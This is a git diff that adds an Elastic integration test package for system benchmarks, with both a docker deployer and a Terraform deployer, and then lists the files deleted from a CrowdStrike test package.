a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark.yml new file mode 100644 index 0000000000..8f8d50921c --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark.yml @@ -0,0 +1,20 @@ +--- +description: Benchmark events ingested via tf deployer (filestream input) +input: filestream +deployer: tf +data_stream: + name: logfile + vars: + paths: + - "{{SERVICE_LOGS_DIR}}/tf-benchmark-{{TEST_RUN_ID}}.log" +warmup_time_period: 2s +wait_for_data_timeout: 5m +corpora: + generator: + total_events: 1000 + template: + path: ./tf-benchmark/template.log + config: + path: ./tf-benchmark/config.yml + fields: + path: ./tf-benchmark/fields.yml diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/config.yml new file mode 100644 index 0000000000..bbceb2681c --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/config.yml @@ -0,0 +1,39 @@ +fields: + - name: IP + cardinality: 100 + - name: Day + range: + min: 1 + max: 28 + - name: H + range: + min: 10 + max: 23 + - name: MS + range: + min: 10 + max: 59 + - name: Mon + enum: + - "Jan" + - "Feb" + - "Mar" + - "Apr" + - "May" + - "Jun" + - "Jul" + - "Aug" + - "Sep" + - "Oct" + - "Nov" + - "Dec" + - name: StatusCode + enum: ["200", "400", "404"] + - name: Size + range: + min: 1 + max: 1000 + - name: Port + range: + min: 8000 + max: 8080 diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/fields.yml new file mode 100644 index 0000000000..4ed5ea81a4 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/fields.yml @@ -0,0 +1,18 @@ +- name: IP + type: ip +- name: Day + type: long +- name: Mon + type: keyword +- name: H + type: long +- name: MS + type: long +- name: StatusCode + type: keyword +- name: Size + type: long +- name: Hostname + type: keyword +- name: Port + type: long diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/template.log b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/template.log new file mode 100644 index 0000000000..9299f9d886 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/template.log @@ -0,0 +1 @@ +{{.IP}} - - [{{.Day}}/{{.Mon}}/2024:{{.H}}:{{.MS}}:{{.MS}} +0000] "GET /index.html HTTP/1.1" {{.StatusCode}} {{.Size}} "-" "benchmark-client/1.0" diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/build.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/build.yml new file mode 100644 index 0000000000..2bfcfc223b --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/build.yml @@ -0,0 +1,3 @@ +dependencies: + ecs: + reference: "git@v8.11.0" diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/docs/README.md b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/docs/README.md new file mode 100644 index 0000000000..fb5302bfb7 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/docs/README.md @@ -0,0 +1,6 @@ +# Multi-Deployer Benchmark + +Test package that exercises both `docker` and `tf` service deployers in system benchmarks. + +- **httpjson** data stream: uses a `docker` deployer running a mock HTTP server. +- **logfile** data stream: uses a `tf` deployer with the Terraform `local` provider (no cloud credentials required). diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml new file mode 100644 index 0000000000..813cf1cf77 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml @@ -0,0 +1,5 @@ +- version: "0.1.0" + changes: + - description: Initial release. + type: enhancement + link: https://github.com/elastic/elastic-package/pull/1 diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs new file mode 100644 index 0000000000..55b6a7330a --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs @@ -0,0 +1,12 @@ +config_version: 2 +interval: {{interval}} +request.method: GET +request.url: {{url}}/events +response.split: + target: body.data + type: array +processors: + - add_fields: + target: '' + fields: + ecs.version: "8.11.0" diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml new file mode 100644 index 0000000000..f2ecad9e8f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml @@ -0,0 +1,21 @@ +--- +description: Pipeline for multi_deployer httpjson data stream. +processors: + - set: + field: event.kind + value: event + - set: + field: event.dataset + value: multi_deployer.httpjson + - set: + field: event.module + value: multi_deployer +on_failure: + - set: + field: event.kind + value: pipeline_error + - append: + field: error.message + value: >- + Processor "{{ _ingest.on_failure_processor_type }}" with tag "{{ _ingest.on_failure_processor_tag }}" + in pipeline "{{ _ingest.on_failure_pipeline }}" failed with message "{{ _ingest.on_failure_message }}" diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/base-fields.yml new file mode 100644 index 0000000000..362c84bcef --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/base-fields.yml @@ -0,0 +1,20 @@ +- name: data_stream.type + type: constant_keyword + description: Data stream type. +- name: data_stream.dataset + type: constant_keyword + description: Data stream dataset. +- name: data_stream.namespace + type: constant_keyword + description: Data stream namespace. +- name: event.module + type: constant_keyword + description: Event module. + value: multi_deployer +- name: event.dataset + type: constant_keyword + description: Event dataset. + value: multi_deployer.httpjson +- name: '@timestamp' + type: date + description: Event timestamp. diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml new file mode 100644 index 0000000000..83758fbcb1 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml @@ -0,0 +1,15 @@ +- name: multi_deployer.httpjson + type: group + fields: + - name: id + type: keyword + description: Event ID. + - name: severity + type: keyword + description: Event severity. + - name: status + type: keyword + description: Event status. + - name: source_ip + type: ip + description: Source IP address. diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml new file mode 100644 index 0000000000..a2c2e275b6 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml @@ -0,0 +1,34 @@ +title: Benchmark httpjson data stream +type: logs +streams: + - input: httpjson + title: Collect logs via HTTP JSON + description: Collect benchmark events via httpjson input. + template_path: httpjson.yml.hbs + vars: + - name: url + type: url + title: URL + required: true + show_user: true + - name: interval + type: text + title: Interval + default: 5s + required: true + show_user: true + - name: tags + type: text + title: Tags + multi: true + required: true + show_user: false + default: + - forwarded + - multi_deployer-httpjson + - name: preserve_original_event + type: bool + title: Preserve original event + required: true + show_user: true + default: false diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/agent/stream/filestream.yml.hbs b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/agent/stream/filestream.yml.hbs new file mode 100644 index 0000000000..cc801fea22 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/agent/stream/filestream.yml.hbs @@ -0,0 +1,4 @@ +paths: +{{#each paths as |path i|}} + - {{path}} +{{/each}} diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml new file mode 100644 index 0000000000..f2a93c3fd0 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml @@ -0,0 +1,21 @@ +--- +description: Pipeline for multi_deployer logfile data stream. +processors: + - set: + field: event.kind + value: event + - set: + field: event.dataset + value: multi_deployer.logfile + - set: + field: event.module + value: multi_deployer +on_failure: + - set: + field: event.kind + value: pipeline_error + - append: + field: error.message + value: >- + Processor "{{ _ingest.on_failure_processor_type }}" with tag "{{ _ingest.on_failure_processor_tag }}" + in pipeline "{{ _ingest.on_failure_pipeline }}" failed with message "{{ _ingest.on_failure_message }}" diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/base-fields.yml new file mode 100644 index 0000000000..41ab49d9d4 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/base-fields.yml @@ -0,0 +1,29 @@ +- name: data_stream.type + type: constant_keyword + description: Data stream type. +- name: data_stream.dataset + type: constant_keyword + description: Data stream dataset. +- name: data_stream.namespace + type: constant_keyword + description: Data stream namespace. +- name: event.module + type: constant_keyword + description: Event module. + value: multi_deployer +- name: event.dataset + type: constant_keyword + description: Event dataset. + value: multi_deployer.logfile +- name: '@timestamp' + type: date + description: Event timestamp. +- name: input.type + type: keyword + description: Type of Filebeat input. +- name: log.file.path + type: keyword + description: Full path to the log file this event came from. +- name: log.offset + type: long + description: Offset of the entry in the log file. diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/fields.yml new file mode 100644 index 0000000000..4ecb979bdf --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/fields.yml @@ -0,0 +1,6 @@ +- name: multi_deployer.logfile + type: group + fields: + - name: message + type: text + description: Raw log line. diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/manifest.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/manifest.yml new file mode 100644 index 0000000000..279aa6f9f6 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/manifest.yml @@ -0,0 +1,31 @@ +title: Benchmark logfile data stream +type: logs +streams: + - input: filestream + title: Collect logs via filestream + description: Collect benchmark events via filestream input. + template_path: filestream.yml.hbs + vars: + - name: paths + type: text + title: Paths + multi: true + required: true + show_user: true + default: + - /var/log/logfile-*.log + - name: tags + type: text + title: Tags + multi: true + required: true + show_user: false + default: + - forwarded + - multi_deployer-logfile + - name: preserve_original_event + type: bool + title: Preserve original event + required: true + show_user: true + default: false diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/docs/README.md b/test/packages/benchmarks/system_benchmark_multi_deployer/docs/README.md new file mode 100644 index 0000000000..fb5302bfb7 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/docs/README.md @@ -0,0 +1,6 @@ +# Multi-Deployer Benchmark + +Test package that exercises both `docker` and `tf` service deployers in system benchmarks. + +- **httpjson** data stream: uses a `docker` deployer running a mock HTTP server. +- **logfile** data stream: uses a `tf` deployer with the Terraform `local` provider (no cloud credentials required). diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml new file mode 100644 index 0000000000..210c3d4091 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml @@ -0,0 +1,24 @@ +format_version: "3.5.8" +name: multi_deployer +title: Multi-Deployer Benchmark +version: "0.1.0" +description: Test package for system benchmarks exercising both docker and tf service deployers. +type: integration +categories: ["custom"] +conditions: + kibana: + version: "^8.0.0 || ^9.0.0" +policy_templates: + - name: multi_deployer + title: Multi-Deployer + description: Collect logs via httpjson (docker) and filestream (tf) inputs. + inputs: + - type: httpjson + title: Collect logs via HTTP JSON + description: Collecting logs via httpjson input. + - type: filestream + title: Collect logs via filestream + description: Collecting logs via filestream input. +owner: + github: elastic/integrations + type: elastic From 0cfd434e1ea90b913349e13143e1d273d735854c Mon Sep 17 00:00:00 2001 From: kcreddy Date: Thu, 19 Mar 2026 16:41:48 +0530 Subject: [PATCH 06/19] Delete test crowdstrike package --- .../_dev/benchmark/system/alert-benchmark.yml | 27 - .../system/alert-benchmark/config.yml | 105 - .../system/alert-benchmark/fields.yml | 208 - .../system/alert-benchmark/template.ndjson | 97 - .../system/deploy/docker/docker-compose.yml | 16 - .../system/deploy/docker/files/config.yml | 128 - .../_dev/benchmark/system/deploy/tf/env.yml | 10 - .../deploy/tf/files/fdr-0_aidmaster.log | 5 - .../system/deploy/tf/files/fdr-0_userinfo.log | 1 - .../system/deploy/tf/files/fdr-sample.log | 128 - .../_dev/benchmark/system/deploy/tf/main.tf | 125 - .../benchmark/system/deploy/tf/outputs.tf | 3 - .../benchmark/system/deploy/tf/variables.tf | 48 - .../_dev/benchmark/system/fdr-benchmark.yml | 26 - .../benchmark/system/fdr-benchmark/config.yml | 9 - .../benchmark/system/fdr-benchmark/fields.yml | 8 - .../system/fdr-benchmark/template.ndjson | 5 - .../_dev/build/build.yml | 3 - .../_dev/build/docs/README.md | 265 - .../_dev/deploy/docker/docker-compose.yml | 41 - .../_dev/deploy/docker/files/config-alert.yml | 475 - .../_dev/deploy/docker/files/config-host.yml | 769 - .../docker/files/config-vulnerability.yml | 643 - .../changelog.yml | 999 -- .../alert/_dev/benchmark/pipeline/config.yml | 1 - .../_dev/benchmark/pipeline/test-alert.log | 10 - .../alert/_dev/test/pipeline/test-alert.log | 10 - .../pipeline/test-alert.log-expected.json | 2033 --- .../_dev/test/pipeline/test-common-config.yml | 4 - .../_dev/test/policy/test-default.expected | 134 - .../alert/_dev/test/policy/test-default.yml | 9 - .../_dev/test/policy/test-traced.expected | 134 - .../alert/_dev/test/policy/test-traced.yml | 10 - .../_dev/test/system/test-common-config.yml | 15 - .../alert/agent/stream/cel.yml.hbs | 130 - .../elasticsearch/ingest_pipeline/default.yml | 2829 ---- .../data_stream/alert/fields/base-fields.yml | 20 - .../data_stream/alert/fields/beats.yml | 6 - .../data_stream/alert/fields/ecs.yml | 9 - .../data_stream/alert/fields/fields.yml | 620 - .../data_stream/alert/manifest.yml | 94 - .../data_stream/alert/sample_event.json | 364 - .../fdr/_dev/benchmark/pipeline/config.yml | 1 - ...-fdr-data-protection-detection-summary.log | 1 - .../test-fdr-epp-detection-summary.log | 13 - .../fdr/_dev/benchmark/pipeline/test-fdr.log | 138 - .../pipeline/test-fdrv2-notmanaged.log | 1 - .../_dev/benchmark/pipeline/test-linux.log | 4 - .../_dev/benchmark/pipeline/test-macos.log | 18 - .../_dev/benchmark/pipeline/test-windows.log | 121 - .../data_stream/fdr/_dev/deploy/tf/env.yml | 10 - .../_dev/deploy/tf/files/fdr-0_aidmaster.log | 5 - .../_dev/deploy/tf/files/fdr-0_userinfo.log | 1 - .../fdr/_dev/deploy/tf/files/fdr-sample.log | 128 - .../data_stream/fdr/_dev/deploy/tf/main.tf | 125 - .../data_stream/fdr/_dev/deploy/tf/outputs.tf | 3 - .../fdr/_dev/deploy/tf/variables.tf | 48 - .../_dev/test/pipeline/test-common-config.yml | 12 - .../fdr/_dev/test/pipeline/test-data.log | 5 - .../test/pipeline/test-data.log-expected.json | 487 - .../_dev/test/pipeline/test-fdr-cspm-ioa.log | 1 - .../test-fdr-cspm-ioa.log-expected.json | 125 - .../pipeline/test-fdr-cspm-iom-evaluation.log | 1 - ...-fdr-cspm-iom-evaluation.log-expected.json | 110 - .../_dev/test/pipeline/test-fdr-cspm-iom.log | 2 - .../test-fdr-cspm-iom.log-expected.json | 154 - ...-fdr-data-protection-detection-summary.log | 1 - ...ection-detection-summary.log-expected.json | 133 - .../test-fdr-epp-detection-summary.log | 14 - ...dr-epp-detection-summary.log-expected.json | 2101 --- .../test-fdr-fim-rule-matched-enriched.log | 4 - ...im-rule-matched-enriched.log-expected.json | 264 - .../test-fdr-fim-rule-matched-linux.log | 4 - ...r-fim-rule-matched-linux.log-expected.json | 636 - .../test-fdr-fim-rule-matched-windows.log | 2 - ...fim-rule-matched-windows.log-expected.json | 297 - .../test-fdr-lengthy-field-delete.log | 1 - ...st-fdr-lengthy-field-delete.log-config.yml | 7 - ...fdr-lengthy-field-delete.log-expected.json | 80 - .../pipeline/test-fdr-lengthy-field-index.log | 1 - ...est-fdr-lengthy-field-index.log-config.yml | 6 - ...-fdr-lengthy-field-index.log-expected.json | 81 - .../fdr/_dev/test/pipeline/test-fdr.log | 138 - .../test/pipeline/test-fdr.log-expected.json | 12580 ---------------- .../test/pipeline/test-fdrv2-notmanaged.log | 1 - .../test-fdrv2-notmanaged.log-expected.json | 64 - .../fdr/_dev/test/pipeline/test-linux.log | 5 - .../pipeline/test-linux.log-expected.json | 556 - .../fdr/_dev/test/pipeline/test-macos.log | 18 - .../pipeline/test-macos.log-expected.json | 1764 --- .../_dev/test/pipeline/test-tags-formats.log | 4 - .../test-tags-formats.log-expected.json | 88 - .../fdr/_dev/test/pipeline/test-user-map.log | 1 - .../pipeline/test-user-map.log-expected.json | 43 - .../fdr/_dev/test/pipeline/test-windows.log | 121 - .../pipeline/test-windows.log-expected.json | 11696 -------------- .../_dev/test/policy/test-default.expected | 250 - .../fdr/_dev/test/policy/test-default.yml | 10 - .../_dev/test/system/test-default-config.yml | 16 - .../fdr/agent/stream/aws-s3.yml.hbs | 283 - .../fdr/agent/stream/stream.yml.hbs | 104 - .../ingest_pipeline/categorize.yml | 1875 --- .../ingest_pipeline/cspm_ioa.yml | 273 - .../ingest_pipeline/cspm_iom.yml | 503 - .../data_protection_detection_summary.yml | 360 - .../elasticsearch/ingest_pipeline/default.yml | 2857 ---- .../ingest_pipeline/epp_detection_summary.yml | 260 - .../ingest_pipeline/fim_rule_matched.yml | 397 - .../ingest_pipeline/inbound_network.yml | 109 - .../ingest_pipeline/outbound_network.yml | 109 - .../data_stream/fdr/fields/base-fields.yml | 54 - .../data_stream/fdr/fields/ecs.yml | 255 - .../data_stream/fdr/fields/fields.yml | 2060 --- .../data_stream/fdr/manifest.yml | 296 - .../data_stream/fdr/sample_event.json | 213 - .../docs/README.md | 2281 --- .../img/crowdstrike-alert-dashboard.png | Bin 791493 -> 0 bytes .../img/crowdstrike-host-dashboard.png | Bin 213390 -> 0 bytes .../crowdstrike-vulnerability-dashboard.png | Bin 599868 -> 0 bytes .../img/cs-falcon1.png | Bin 216782 -> 0 bytes .../img/cs-fdr1.png | Bin 293841 -> 0 bytes .../img/cs-overview1.png | Bin 223737 -> 0 bytes .../img/logo-integrations-crowdstrike.svg | 1 - .../img/siem-alerts-cs.jpg | Bin 399141 -> 0 bytes .../img/siem-events-cs.jpg | Bin 523409 -> 0 bytes .../system_benchmark_crowdstrike/manifest.yml | 164 - .../validation.yml | 7 - 127 files changed, 55538 deletions(-) delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/outputs.tf delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/fields.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/template.ndjson delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/outputs.tf delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/variables.tf delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-common-config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json delete mode 100644 